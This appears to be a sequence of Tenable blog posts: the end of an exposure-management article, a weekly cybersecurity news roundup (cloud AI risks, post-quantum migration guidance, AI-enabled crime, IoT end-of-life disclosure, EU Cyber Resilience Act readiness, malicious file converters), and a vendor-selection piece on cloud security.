If your organization is embarking on, or considering starting, your own exposure management journey, here are exposure management best practices and key takeaways from Tenable’s experience:

• Don’t neglect traditional vulnerability management: Continuous threat exposure management expands the scope but does not replace foundational vulnerability management practices. CVE-based remediation remains a critical component.
• Start with policy and governance: Establish a clear exposure management policy to provide structure, establish service level agreements (SLAs) and ensure accountability. 
• Align teams: Organize teams and resources to ensure they’re working in support of your exposure management policy.
• Prioritize based on real-world risk: Not all vulnerabilities pose immediate threats. Focus on threat exposures that present actual risk based on attack feasibility.
• Optimize workflows for scale: Exposure management introduces a higher volume of security issues. Automation and orchestration are essential.
• Expect a continuous evolution: Exposure management is not a one-time project but an ongoing program that adapts to new threat detection and business changes.

Takeaways

The transition from vulnerability management to exposure management is a necessary evolution in cybersecurity strategy. 

As attack surfaces expand and threats become more sophisticated, your organization needs to adopt a more holistic approach to cyber risk reduction. Although the journey can be complex and resource-intensive, the benefits — increased visibility, better risk prioritization and improved security outcomes — make it a worthwhile investment. I’m excited about what lies ahead and look forward to sharing more about our journey.

Check out key findings and insights from the “Tenable Cloud AI Risk Report 2025.” Plus, get fresh guidance on how to transition to quantum-resistant cryptography. In addition, find out how AI is radically transforming cyber crime. And get the latest on open source software security; cyber scams; and IoT security.

Dive into six things that are top of mind for the week ending March 21.

1 - Tenable: Orgs using AI in the cloud face thorny cyber risks

Using AI tools in cloud environments? Make sure your organization is aware of and prepared for the complex cybersecurity risks that emerge when you mix AI and the cloud.

That’s a key message from the “Tenable Cloud AI Risk Report 2025,” released this week and based on a telemetry analysis of public cloud and enterprise workloads scanned through Tenable products.

“Cloud security measures must evolve to meet the new challenges of AI and find the delicate balance between protecting against complex attacks on AI data and enabling organizations to achieve responsible AI innovation,” Liat Hayun, Tenable’s VP of Research and Product Management for Cloud Security, said in a statement.

Key findings from the report include:

• 70% of cloud workloads with AI software installed have at least one critical vulnerability, compared with 50% of cloud workloads that don’t have AI software installed.
• 77% of organizations have the overprivileged default Compute Engine service account configured in Google Vertex AI Notebooks – which puts all services built on this default Compute Engine at risk.
• 91% of organizations using Amazon Sagemaker have the risky default of root access in at least one notebook instance, which could grant attackers unauthorized access if compromised.
   

These are some of the report's risk mitigation recommendations:

• Take a contextual approach for revealing exposures across your cloud infrastructure, identities, data, workloads and AI tools. 
• Classify all AI components linked to business-critical assets as sensitive, and include AI tools and data in your asset inventory, scanning them continuously. 
• Keep current on emerging AI regulations and guidelines, and stay compliant by mapping key cloud-based AI data stores and implementing required access controls. 
•  Apply cloud providers' recommendations for their AI services, but be aware that default settings are commonly insecure and guidance is still evolving. 
• Prevent unauthorized or overprivileged access to cloud-based AI models and data stores. 
• Prioritize vulnerability remediation by understanding which CVEs pose the greatest risk to your organization. 

To get more information, check out:

• The full “Tenable Cloud AI Risk Report 2025”
• The webinar “2025 Cloud AI Risk Report: Helping You Build More Secure AI Models in the Cloud” on April 17, 2025 at 2 pm EDT
• The video “Why firms need ‘exposure management’ for cloud security”

2 - U.K.’s cyber agency offers post-quantum migration guidance

Is your organization planning to adopt cryptography that can resist attacks from future quantum computers? If so, you might want to check out fresh guidance about this topic.

This week, the U.K. National Cyber Security Centre (NCSC) published “Timelines for migration to post-quantum (PQC) cryptography,” a white paper aimed at helping organizations plan their migration to quantum-resistant cryptography.

“Migration to PQC can be viewed as any large technology transition. In the guidance, we describe the key steps in such a transition, and illustrate some of the cryptography and PQC-specific elements required at each stage of the programme,” reads a companion blog.
 

At a high-level, these are the three main key milestones proposed by the NCSC:

• By 2028
  • Define the organization’s migration goals.
  • Assess which services and infrastructure need to have their cryptography upgraded to PQC.
  • Draft an initial migration plan that includes, for example, the highest priority migration steps; the necessary investment; and what you’ll need from your suppliers.
• By 2031
  • Execute the first, most important PQC migration steps.
  • Refine the PQC migration plan to ensure the roadmap will be fulfilled.
  • Ensure your infrastructure is ready to support PQC.
• By 2035
  • Complete your PQC migration.

The need to migrate to PQC stems from the ability quantum computers will have to decrypt data protected with today’s public-key cryptographic algorithms. These powerful quantum computers are expected to become generally available at some point between 2030 and 2040.

The U.S. National Institute of Standards and Technology (NIST) last year released three quantum-resistant algorithm standards that are ready to be adopted. A fourth one is slated for release next year, and a fifth one, announced last week, should be available in 2027.

For more information about how to protect your organization against the quantum computing cyberthreat:

• “How to prepare for a secure post-quantum future” (TechTarget)
• “Moody’s sounds alarm on quantum computing risk, as transition to PQC ‘will be long and costly’” (Industrial Cyber)
• “Companies Prepare to Fight Quantum Hackers” (The Wall Street Journal)
• “US unveils new tools to withstand encryption-breaking quantum. Here's what experts are saying” (World Economic Forum)
• “Quantum is coming — and bringing new cybersecurity threats with it” (KPMG)
• “Quantum and the Threat to Encryption” (SecurityWeek)

3 - Europol: AI is transforming organized crime

Criminals are enthusiastically embracing AI, which helps them accelerate their malicious activities and operate more effectively.

So said Europol in its report “European Union Serious and Organised Crime Threat Assessment 2025: The changing DNA of serious and organised crime,” published this week.

“As AI-driven systems … become more advanced and user-friendly, criminal networks are increasingly leveraging their capabilities across a wide spectrum of crimes,” the report reads.

According to Europol, AI is “fundamentally reshaping” crime by:

• Drastically lowering the barriers to entry for digital crimes by allowing crooks to, for example, craft phishing messages in multiple languages, precisely target victims and craft sophisticated malware
• Allowing fraudsters to create sophisticated synthetic media, such as voice cloning and video deepfakes, to dupe victims, impersonate people and carry out blackmail
• Making crooks more effective by, for example, automating attacks, expanding their scope and scale, and bypassing security controls – all with fewer resources.

“To counter the growing threat of AI-enabled crime, policymakers, law enforcement agencies and the technology sector must collaborate to develop robust safeguards, consistent regulations and advanced detection tools,” the report reads.

For more information about how cybercriminals are leveraging AI:

• “How AI is making phishing attacks more dangerous” (TechTarget)
• “How AI agents help hackers steal your confidential data - and what to do about it” (ZDNet)
• “How cyber criminals are using artificial intelligence (AI) for online threats” (Government of Canada)
• “The near-term impact of AI on the cyber threat” (U.K. NCSC)
• “FBI Warns of Increasing Threat of Cyber Criminals Utilizing Artificial Intelligence” (FBI) 

4 - Groups call for IoT end-of-life disclosure law

Manufacturers of internet-of-things (IoT) devices should be required by law to disclose the products they’re no longer supporting, so that customers are aware of the security risks those products pose.

That’s the opinion of Consumer Reports, the Center for Democracy and Technology, the U.S. Public Interest Research Group and the Secure Resilient Future Foundation, which recently proposed a model bill called the “Connected Consumer Products End of Life Disclosure Act.”

The bill would require IoT manufacturers and internet service providers (ISPs) to provide “clear and timely” information about their connected devices’ support lifecycles.
 

“The proliferation of IoT devices in homes and businesses has created a significant security challenge. When these devices reach their end of life and no longer receive software and security updates, they become vulnerable to exploitation by malicious actors,” reads a joint statement from the groups.

Specifically, the groups want the law to require IoT manufacturers to:

• Clearly disclose for how long they’ll provide security and software updates, and to offer this support for a reasonable amount of time.
• Proactively alert customers when their devices are approaching end-of-life status and offer appropriate guidance.
• Offer details about features that will become inactive, and about potential vulnerabilities and security risks resulting from end-of-life status.

Moreover, the proposed model law would also put the onus on ISPs to remove from customers’ homes any devices they provided, such as routers, once those devices reach end-of-life status.

For more information about IoT and operational technology (OT) security, check out these Tenable resources:

• “How To Secure All of Your Assets - IT, OT and IoT - With an Exposure Management Platform” (blog)
• “How To Secure All of Your Assets - IT, OT and IoT - With an Exposure Management Platform: The Importance of Contextual Prioritization” (blog)
• “How To Secure Your IT, OT and IoT Assets With an Exposure Management Platform: Complete Visibility with Asset Inventory and Discovery” (blog)
• “The Invisible Bridge: Recognizing The Risk Posed by Interconnected IT/OT/IoT Environments” (on-demand webinar)
• “How to Unlock Advanced IoT Visibility for Cyber-Physical Systems” (blog)
• “Unlock advanced IoT visibility to better secure your OT environment” (on-demand webinar)

5 - Report: Open source community must prep better for EU’s CRA law compliance

Open-source software manufacturers, project stewards and developers need to beef up on their knowledge of the European Union’s Cyber Resilience Act (CRA), a landmark cybersecurity law whose enforcement is expected to begin in late 2027.

That’s the main takeaway from the new report “Unaware and Uncertain: The Stark Realities of ‘Cyber Resilience Act’ Readiness in Open Source” from the Linux Foundation and the Open Source Security Foundation.

“This report highlights significant knowledge gaps and key strategies to help organizations meet regulatory obligations outlined in the CRA regarding secure software development, while preserving the collaborative and decentralized nature of open source,” Steve Fernandez, OpenSSF’s General Manager, said in a statement.
 

 
The report surveyed 685 respondents, most of them software developers, IT professionals and security professionals. It found that CRA awareness is low, with 62% of respondents saying they’re either “not familiar at all” or “slightly familiar” with the law. 

Even many respondents who are familiar with the CRA still lack a comprehensive grasp of its scope. For example, 42% of respondents haven’t determined if the law applies to them, and almost 60% aren’t aware of the non-compliance penalties. Furthermore, only 28% correctly said full CRA compliance begins in 2027.

Here are some key recommendations from the report:

• Manufacturers need to adopt a more proactive approach to securing their open source software dependencies by, for example, developing internal security controls and establishing formal contribution processes.
• Stewards should help “scale and standardize” cybersecurity practices and processes throughout the open source ecosystem. The CRA defines stewards as industry organizations, such as the OpenSSF, that support the development of open source software for commercial use.
• Regulatory agencies should provide clear guidance around the CRA so that open source players are clear about the scope and requirements of the law.

The Linux Foundation also released a complementary report titled “Pathways to Cybersecurity Best Practices in Open Source” that features cybersecurity best practices from three of the organization’s projects.

The CRA outlines cybersecurity requirements for the design, development, production and lifecycle maintenance of digital products – both hardware and software – including IoT wares such as connected cars.

For example, the CRA specifies a number of “essential cybersecurity requirements” for these products, including that they:

• Don’t ship with known exploitable vulnerabilities
• Have a “secure by default” configuration
• Can fix their vulnerabilities via automatic software updates
• Offer access protection via control mechanisms, such as authentication
• Protect the data they store, transmit and process

For more information and analysis about the EU’s Cyber Resilience Act:

• “Cyber Resilience Act Requirements Standards Mapping” (ENISA)
• “The Cyber Resilience Act, an Accidental European Alien Torts Statute?” (Lawfare)
• “EU Cybersecurity Regulation Adopted, Impacts Connected Products” (National Law Review)
• “Open source foundations unite on common standards for EU’s Cyber Resilience Act” (TechCrunch)
• “The Cyber Resilience Act: A New Era for Mobile App Developers” (DevOps.com)

VIDEO

The EU Cyber Resilience Act: A New Era for Business Engagement in Open Source Software (Linux Foundation)

6 - FBI: Beware of malicious file-converter tools

Cyber fraudsters are luring victims by offering free online tools for converting files into different formats, according to the U.S. Federal Bureau of Investigation.

While the tools work as advertised, they also perform malicious actions in the background, such as infecting the converted file with malware or stealing personal data from it, including banking information and Social Security numbers.
 

 

In other scheme variations, the tools may offer to combine files into a single one – such as by consolidating multiple photos into one PDF file – or they may claim to be an MP3 or MP4 downloader.

“Unfortunately, many victims don’t realize they have been infected by malware until it’s too late, and their computer is infected with ransomware or their identity has been stolen,” reads the alert from the FBI’s Denver office.

The FBI recommends thinking twice about using free online tools that offer these functionalities and scanning all files you receive with anti-virus software.

Protecting your cloud environment for the long term involves choosing a security partner whose priorities align with your needs. Here's what you need to know.

As organizations embrace multi-cloud and hybrid environments, the complexity of securing that landscape increases. However, the overlooked risks may not come solely from threat actors. Choosing a security provider that has conflicting priorities can also introduce risk. The best cloud security program is built on independence, transparency and aligned priorities around your security needs. Here are five critical considerations for choosing the right security provider to protect your organization — and your cloud strategy — for the long term.

1. Checks and balances are essential

Your cloud security provider should be your second set of eyes — not the same entity responsible for your infrastructure. You lose critical checks and balances when your cloud provider is also your security vendor. No company can be entirely impartial when tasked with policing itself. Keeping security independent from infrastructure ensures risks aren’t overlooked because they conflict with a cloud service provider’s product roadmap, revenue model or strategic priorities.

2. Visibility is power — be careful who you give it to

Many security vendors see everything — your configurations, vulnerabilities and even metadata about how you use various cloud services. That visibility is necessary for protection but can become a competitive lever in the wrong hands. Ask yourself: does this vendor have other lines of business that benefit from knowing how I operate — for example, do they compete in cloud infrastructure, data services or AI/machine learning platforms? Your cloud security provider should be focused solely on protecting you — not gathering intelligence that could inform sales strategies elsewhere on how to upsell you.

3. Priorities shift — will yours still matter?

Many cloud security platforms promise broad, multi-cloud support, but priorities change. What happens when future product development leans toward one specific cloud environment? Will integrations with your preferred platforms lag? Will support or feature enhancements begin favoring certain clouds over others? Choose a partner whose roadmap aligns with your needs — not one that might shift with changing corporate objectives.

4. Plan for portability — don’t get trapped

The cloud is dynamic, and change is difficult and expensive for organizations. Don’t commit to a vendor that locks you into a specific cloud ecosystem or makes it costly to adapt as your business evolves. The best partners enable flexibility. They make it easy to scale, shift or change providers without risking your security posture — or budget.

5. Securing the cloud means more than just “cloud security”

The time for solutions that are solely focused on cloud security is coming to an end. As security threats continue to evolve, exposure management — which requires understanding business risk across all facets of the organization — should be the goal. Any security product that you adopt must be flexible enough to fit into your broader exposure management strategy. Additionally, most large organizations are operating a hybrid cloud environment, which requires visibility into the entire attack surface. As we all know, threat actors know no boundaries — all your bases must be covered — from cloud to operational technology to clients and more.

What the right cloud security provider looks like

When evaluating cloud security vendors, prioritize those who are: 

• Truly cloud-agnostic — no ownership or influence from any cloud provider
• Focused solely on security, not selling you infrastructure
• Research and security innovators, with an established track record
• Equipped to protect multi-cloud and hybrid environments equally well
• Transparent about product roadmaps and priorities
• Committed to your long-term flexibility and control

Cloud security is too important to entrust to anyone whose priorities aren’t fully aligned with yours. Choose independence. Choose neutrality. Choose a partner whose only job is to protect you — wherever your cloud strategy takes you next.